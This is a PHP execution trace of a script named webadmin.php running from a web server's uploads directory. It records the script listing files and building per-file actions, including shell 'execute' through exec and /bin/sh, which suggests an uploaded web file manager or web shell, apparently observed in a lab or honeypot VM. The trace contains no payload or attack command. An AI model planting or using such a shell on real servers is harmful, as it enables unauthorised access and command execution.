3		A						/var/www/html/uploads/webadmin.php	1250	$file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	379	0	0.018883	802280	date	0		/var/www/html/uploads/webadmin.php	1252	2	'n/j/y H:i:s'	1676255997
4	379	1	0.018915	802608
4	379	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1252	$timestamps = 'mtime: 2/12/23 21:39:57, '
4	380	0	0.018943	802224	date	0		/var/www/html/uploads/webadmin.php	1253	2	'n/j/y H:i:s'	1676255997
4	380	1	0.018974	802552
4	380	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1253	$timestamps .= 'atime: 2/12/23 21:39:57, '
4	381	0	0.019001	802248	date	0		/var/www/html/uploads/webadmin.php	1254	2	'n/j/y H:i:s'	1676255997
4	381	1	0.019031	802576
4	381	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1254	$timestamps .= 'ctime: 2/12/23 21:39:57'
4	382	0	0.019057	802472	html	1		/var/www/html/uploads/webadmin.php	1258	1	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5	383	0	0.019072	802472	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'	2	NULL
5	383	1	0.019090	802776
5	383	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	382	1	0.019106	802664
4	382	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	384	0	0.019122	802280	substr	0		/var/www/html/uploads/webadmin.php	1289	3	'prepend.php'	0	1
4	384	1	0.019136	802376
4	384	R			'p'
4	385	0	0.019151	802360	urlencode	0		/var/www/html/uploads/webadmin.php	1296	1	'/var/www/html/uploads/prepend.php'
4	385	1	0.019165	802472
4	385	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fprepend.php'
4	386	0	0.019182	802408	html	1		/var/www/html/uploads/webadmin.php	1296	1	'prepend.php'
5	387	0	0.019195	802408	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'prepend.php'	2	NULL
5	387	1	0.019209	802680
5	387	R			'prepend.php'
4	386	1	0.019223	802568
4	386	R			'prepend.php'
3		A						/var/www/html/uploads/webadmin.php	1306	$human = ''
4	388	0	0.019249	802280	decoct	0		/var/www/html/uploads/webadmin.php	1315	1	33261
4	388	1	0.019261	802352
4	388	R			'100755'
4	389	0	0.019275	802280	function_exists	0		/var/www/html/uploads/webadmin.php	1317	1	'posix_getuid'
4	389	1	0.019288	802320
4	389	R			TRUE
4	390	0	0.019301	802280	posix_getuid	0		/var/www/html/uploads/webadmin.php	1317	0
4	390	1	0.019314	802280
4	390	R			33
3		A						/var/www/html/uploads/webadmin.php	1317	$l = FALSE
4	391	0	0.019338	802280	permission_octal2string	1		/var/www/html/uploads/webadmin.php	1319	1	33261
4		A						/var/www/html/uploads/webadmin.php	966	$type = '-'
4		A						/var/www/html/uploads/webadmin.php	979	$owner = 'r'
4		A						/var/www/html/uploads/webadmin.php	980	$owner .= 'w'
4		A						/var/www/html/uploads/webadmin.php	984	$owner .= 'x'
4		A						/var/www/html/uploads/webadmin.php	987	$group = 'r'
4		A						/var/www/html/uploads/webadmin.php	988	$group .= '-'
4		A						/var/www/html/uploads/webadmin.php	992	$group .= 'x'
4		A						/var/www/html/uploads/webadmin.php	995	$other = 'r'
4		A						/var/www/html/uploads/webadmin.php	996	$other .= '-'
4		A						/var/www/html/uploads/webadmin.php	1000	$other .= 'x'
4	391	1	0.019457	802320
4	391	R			'-rwxr-xr-x'
4	392	0	0.019471	802320	html	1		/var/www/html/uploads/webadmin.php	1319	1	'-rwxr-xr-x'
5	393	0	0.019484	802320	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'-rwxr-xr-x'	2	NULL
5	393	1	0.019499	802592
5	393	R			'-rwxr-xr-x'
4	392	1	0.019514	802480
4	392	R			'-rwxr-xr-x'
4	394	0	0.019528	802280	array_key_exists	0		/var/www/html/uploads/webadmin.php	1324	2	'owner_name'	['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	394	1	0.019558	802344
4	394	R			TRUE
4	395	0	0.019572	802280	array_key_exists	0		/var/www/html/uploads/webadmin.php	1330	2	'group_name'	['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	395	1	0.019600	802344
4	395	R			TRUE
4	396	0	0.019615	802376	html	1		/var/www/html/uploads/webadmin.php	1339	1	'/var/www/html/uploads/prepend.php'
5	397	0	0.019628	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/prepend.php'	2	NULL
5	397	1	0.019644	802648
5	397	R			'/var/www/html/uploads/prepend.php'
4	396	1	0.019659	802536
4	396	R			'/var/www/html/uploads/prepend.php'
3		A						/var/www/html/uploads/webadmin.php	1342	$actions = []
4	398	0	0.019685	801904	function_exists	0		/var/www/html/uploads/webadmin.php	1343	1	'symlink'
4	398	1	0.019699	801944
4	398	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1344	$actions[] = 'create_symlink'
4	399	0	0.019724	802280	dirname	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads/prepend.php'
4	399	1	0.019737	802376
4	399	R			'/var/www/html/uploads'
4	400	0	0.019751	802344	is_writable	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads'
4	400	1	0.019769	802384
4	400	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1347	$actions[] = 'delete'
3		A						/var/www/html/uploads/webadmin.php	1348	$actions[] = 'rename'
3		A						/var/www/html/uploads/webadmin.php	1349	$actions[] = 'move'
3		A						/var/www/html/uploads/webadmin.php	1352	$actions[] = 'copy'
3		A						/var/www/html/uploads/webadmin.php	1353	$actions[] = 'download'
4	401	0	0.019834	802280	function_exists	0		/var/www/html/uploads/webadmin.php	1356	1	'exec'
4	401	1	0.019847	802320
4	401	R			TRUE
4	402	0	0.019860	802280	file_exists	0		/var/www/html/uploads/webadmin.php	1356	1	'/bin/sh'
4	402	1	0.019878	802320
4	402	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1357	$actions[] = 'execute'
4	403	0	0.019901	802280	sizeof	0		/var/www/html/uploads/webadmin.php	1360	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download', 6 => 'execute']
4	403	1	0.019921	802312
4	403	R			7
4	404	0	0.019934	802376	str_repeat	0		/var/www/html/uploads/webadmin.php	1363	2	'&nbsp;'	30
4	404	1	0.019947	802664
4	404	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	405	0	0.019963	802344	word	1		/var/www/html/uploads/webadmin.php	1367	1	'create_symlink'
5	406	0	0.019977	802344	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'create symlink'	2	'UTF-8'
5	406	1	0.019993	802616
5	406	R			'create symlink'
4	405	1	0.020007	802504
4	405	R			'create symlink'
4	407	0	0.020022	802336	word	1		/var/www/html/uploads/webadmin.php	1367	1	'delete'
5	408	0	0.020035	802336	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'delete'	2	'UTF-8'
5	408	1	0.020049	802608
5	408	R			'delete'
4	407	1	0.020063	802496
4	407	R			'delete'
4	409	0	0.020081	802336	word	1		/var/www/html/uploads/webadmin.php	1367	1	'rename'
5	410	0	0.020094	802336	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'rename'	2	'UTF-8'
5	410	1	0.020108	802608
5	410	R			'rename'
4	409	1	0.020122	802496
4	409	R			'rename'
4	411	0	0.020135	802328	word	1		/var/www/html/uploads/webadmin.php	1367	1	'move'
5	412	0	0.020148	802328	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'move'	2	'UTF-8'
5	412	1	0.020162	802600
5	412	R			'move'
4	411	1	0.020175	802488
4	411	R			'move'
4	413	0	0.020188	802328	word	1		/var/www/html/uploads/webadmin.php	1367	1	'copy'
5	414	0	0.020201	802328	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'copy'	2	'UTF-8'
5	414	1	0.020215	802600
5	414	R			'copy'
4	413	1	0.020228	802488
4	413	R			'copy'
4	415	0	0.020242	802336	word	1		/var/www/html/uploads/webadmin.php	1367	1	'download'
5	416	0	0.020255	802336	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'download'	2	'UTF-8'
5	416	1	0.020269	802608
5	416	R			'download'
4	415	1	0.020283	802496
4	415	R			'download'
4	417	0	0.020296	802336	word	1		/var/www/html/uploads/webadmin.php	1367	1	'execute'
5	418	0	0.020309	802336	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'execute'	2	'UTF-8'
5	418	1	0.020323	802608
5	418	R			'execute'
4	417	1	0.020337	802496
4	417	R			'execute'
3		A						/var/www/html/uploads/webadmin.php	1249	$i++
4	419	0	0.020361	802280	sizeof	0		/var/www/html/uploads/webadmin.php	1249	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	419	1	0.020431	802312
4	419	R			6
3		A						/var/www/html/uploads/webadmin.php	1250	$file = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	420	0	0.020472	802280	date	0		/var/www/html/uploads/webadmin.php	1252	2	'n/j/y H:i:s'	1676255997
4	420	1	0.020503	802608
4	420	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1252	$timestamps = 'mtime: 2/12/23 21:39:57, '
4	421	0	0.020530	802224	date	0		/var/www/html/uploads/webadmin.php	1253	2	'n/j/y H:i:s'	1676255997
4	421	1	0.020561	802552
4	421	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1253	$timestamps .= 'atime: 2/12/23 21:39:57, '
4	422	0	0.020587	802248	date	0		/var/www/html/uploads/webadmin.php	1254	2	'n/j/y H:i:s'	1676255997
4	422	1	0.020617	802576
4	422	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1254	$timestamps .= 'ctime: 2/12/23 21:39:57'
4	423	0	0.020644	802472	html	1		/var/www/html/uploads/webadmin.php	1258	1	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5	424	0	0.020658	802472	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'	2	NULL
5	424	1	0.020675	802776
5	424	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	423	1	0.020691	802664
4	423	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	425	0	0.020707	802280	substr	0		/var/www/html/uploads/webadmin.php	1289	3	'webadmin.php'	0	1
4	425	1	0.020721	802376
4	425	R			'w'
4	426	0	0.020735	802360	urlencode	0		/var/www/html/uploads/webadmin.php	1296	1	'/var/www/html/uploads/webadmin.php'
4	426	1	0.020748	802472
4	426	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fwebadmin.php'
4	427	0	0.020765	802408	html	1		/var/www/html/uploads/webadmin.php	1296	1	'webadmin.php'
5	428	0	0.020778	802408	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'webadmin.php'	2	NULL
5	428	1	0.020792	802680
5	428	R			'webadmin.php'
4	427	1	0.020806	802568
4	427	R			'webadmin.php'
4	429	0	0.020820	802280	human_filesize	1		/var/www/html/uploads/webadmin.php	1304	1	74983
4		A						/var/www/html/uploads/webadmin.php	1153	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/webadmin.php	1155	$n = 0
4		A						/var/www/html/uploads/webadmin.php	1157	$filesize /= 1024
4		A						/var/www/html/uploads/webadmin.php	1158	$n++
5	430	0	0.020879	802280	strpos	0		/var/www/html/uploads/webadmin.php	1161	2	73.2255859375	'.'
5	430	1	0.020894	802608
5	430	R			2
5	431	0	0.020908	802280	round	0		/var/www/html/uploads/webadmin.php	1161	2	73.2255859375	1
5	431	1	0.020922	802352
5	431	R			73.2
4		A						/var/www/html/uploads/webadmin.php	1161	$filesize = 73.2
5	432	0	0.020946	802280	strpos	0		/var/www/html/uploads/webadmin.php	1163	2	73.2	'.'
5	432	1	0.020959	802608
5	432	R			2
5	433	0	0.020973	802280	substr	0		/var/www/html/uploads/webadmin.php	1164	3	73.2	-1	1
5	433	1	0.020987	802632
5	433	R			'2'
5	434	0	0.021000	802280	in_array	0		/var/www/html/uploads/webadmin.php	1164	2	'2'	[0 => '0', 1 => '.']
5	434	1	0.021016	802352
5	434	R			FALSE
5	435	0	0.021029	802280	substr	0		/var/www/html/uploads/webadmin.php	1169	3	'kMGTPE'	0	1
5	435	1	0.021043	802376
5	435	R			'k'
4		A						/var/www/html/uploads/webadmin.php	1169	$suffix = 'k'
4	429	1	0.021067	802312
4	429	R			'73.2 kB'
3		A						/var/www/html/uploads/webadmin.php	1304	$human = ' title="73.2 kB"'
4	436	0	0.021094	802328	decoct	0		/var/www/html/uploads/webadmin.php	1315	1	33204
4	436	1	0.021106	802400
4	436	R			'100664'
4	437	0	0.021119	802328	function_exists	0		/var/www/html/uploads/webadmin.php	1317	1	'posix_getuid'
4	437	1	0.021133	802368
4	437	R			TRUE
4	438	0	0.021145	802328	posix_getuid	0		/var/www/html/uploads/webadmin.php	1317	0
4	438	1	0.021158	802328
4	438	R			33
3		A						/var/www/html/uploads/webadmin.php	1317	$l = FALSE
4	439	0	0.021180	802328	permission_octal2string	1		/var/www/html/uploads/webadmin.php	1319	1	33204
4		A						/var/www/html/uploads/webadmin.php	966	$type = '-'
4		A						/var/www/html/uploads/webadmin.php	979	$owner = 'r'
4		A						/var/www/html/uploads/webadmin.php	980	$owner .= 'w'
4		A						/var/www/html/uploads/webadmin.php	984	$owner .= '-'
4		A						/var/www/html/uploads/webadmin.php	987	$group = 'r'
4		A						/var/www/html/uploads/webadmin.php	988	$group .= 'w'
4		A						/var/www/html/uploads/webadmin.php	992	$group .= '-'
4		A						/var/www/html/uploads/webadmin.php	995	$other = 'r'
4		A						/var/www/html/uploads/webadmin.php	996	$other .= '-'
4		A						/var/www/html/uploads/webadmin.php	1000	$other .= '-'
4	439	1	0.021294	802368
4	439	R			'-rw-rw-r--'
4	440	0	0.021308	802368	html	1		/var/www/html/uploads/webadmin.php	1319	1	'-rw-rw-r--'
5	441	0	0.021321	802368	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'-rw-rw-r--'	2	NULL
5	441	1	0.021336	802640
5	441	R			'-rw-rw-r--'
4	440	1	0.021350	802528
4	440	R			'-rw-rw-r--'
4	442	0	0.021363	802328	array_key_exists	0		/var/www/html/uploads/webadmin.php	1324	2	'owner_name'	['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	442	1	0.021394	802392
4	442	R			TRUE
4	443	0	0.021407	802328	array_key_exists	0		/var/www/html/uploads/webadmin.php	1330	2	'group_name'	['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	443	1	0.021436	802392
4	443	R			TRUE
4	444	0	0.021450	802424	html	1		/var/www/html/uploads/webadmin.php	1339	1	'/var/www/html/uploads/webadmin.php'
5	445	0	0.021463	802424	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/webadmin.php'	2	NULL
5	445	1	0.021478	802696
5	445	R			'/var/www/html/uploads/webadmin.php'
4	444	1	0.021494	802584
4	444	R			'/var/www/html/uploads/webadmin.php'
3		A						/var/www/html/uploads/webadmin.php	1342	$actions = []
4	446	0	0.021520	801952	function_exists	0		/var/www/html/uploads/webadmin.php	1343	1	'symlink'
4	446	1	0.021533	801992
4	446	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1344	$actions[] = 'create_symlink'
4	447	0	0.021562	802328	dirname	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads/webadmin.php'
4	447	1	0.021575	802424
4	447	R			'/var/www/html/uploads'
4	448	0	0.021590	802392	is_writable	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads'
4	448	1	0.021606	802432
4	448	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1347	$actions[] = 'delete'
3		A						/var/www/html/uploads/webadmin.php	1348	$actions[] = 'rename'
3		A						/var/www/html/uploads/webadmin.php	1349	$actions[] = 'move'
3		A						/var/www/html/uploads/webadmin.php	1352	$actions[] = 'copy'
3		A						/var/www/html/uploads/webadmin.php	1353	$actions[] = 'download'
4	449	0	0.021671	802328	function_exists	0		/var/www/html/uploads/webadmin.php	1356	1	'exec'
4	449	1	0.021684	802368
4	449	R			TRUE
4	450	0	0.021697	802328	sizeof	0		/var/www/html/uploads/webadmin.php	1360	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4	450	1	0.021716	802360
4	450	R			6
4	451	0	0.021729	802424	str_repeat	0		/var/www/html/uploads/webadmin.php	1363	2	'&nbsp;'	30
4	451	1	0.021742	802712
4	451	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	452	0	0.021758	802392	word	1		/var/www/html/uploads/webadmin.php	1367	1	'create_symlink'
5	453	0	0.021772	802392	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'create symlink'	2	'UTF-8'
5	453	1	0.021787	802664
5	453	R			'create symlink'
4	452	1	0.021802	802552
4	452	R			'create symlink'
4	454	0	0.021817	802384	word	1		/var/www/html/uploads/webadmin.php	1367	1	'delete'
5	455	0	0.021830	802384	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'delete'	2	'UTF-8'
5	455	1	0.021844	802656
5	455	R			'delete'
4	454	1	0.021857	802544
4	454	R			'delete'
4	456	0	0.021871	802384	word	1		/var/www/html/uploads/webadmin.php	1367	1	'rename'
5	457	0	0.021883	802384	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'rename'	2	'UTF-8'
5	457	1	0.021897	802656
5	457	R			'rename'
4	456	1	0.021911	802544
4	456	R			'rename'
4	458	0	0.021924	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'move'
5	459	0	0.021937	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'move'	2	'UTF-8'
5	459	1	0.021951	802648
5	459	R			'move'
4	458	1	0.021964	802536
4	458	R			'move'
4	460	0	0.021977	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'copy'
5	461	0	0.021990	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'copy'	2	'UTF-8'
5	461	1	0.022004	802648
5	461	R			'copy'
4	460	1	0.022017	802536
4	460	R			'copy'
4	462	0	0.022031	802384	word	1		/var/www/html/uploads/webadmin.php	1367	1	'download'
5	463	0	0.022044	802384	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'download'	2	'UTF-8'
5	463	1	0.022058	802656
5	463	R			'download'
4	462	1	0.022072	802544
4	462	R			'download'
3		A						/var/www/html/uploads/webadmin.php	1249	$i++
4	464	0	0.022096	802328	sizeof	0		/var/www/html/uploads/webadmin.php	1249	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	464	1	0.022167	802360
4	464	R			6
4	465	0	0.022181	802552	sizeof	0		/var/www/html/uploads/webadmin.php	1385	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	465	1	0.022253	802584
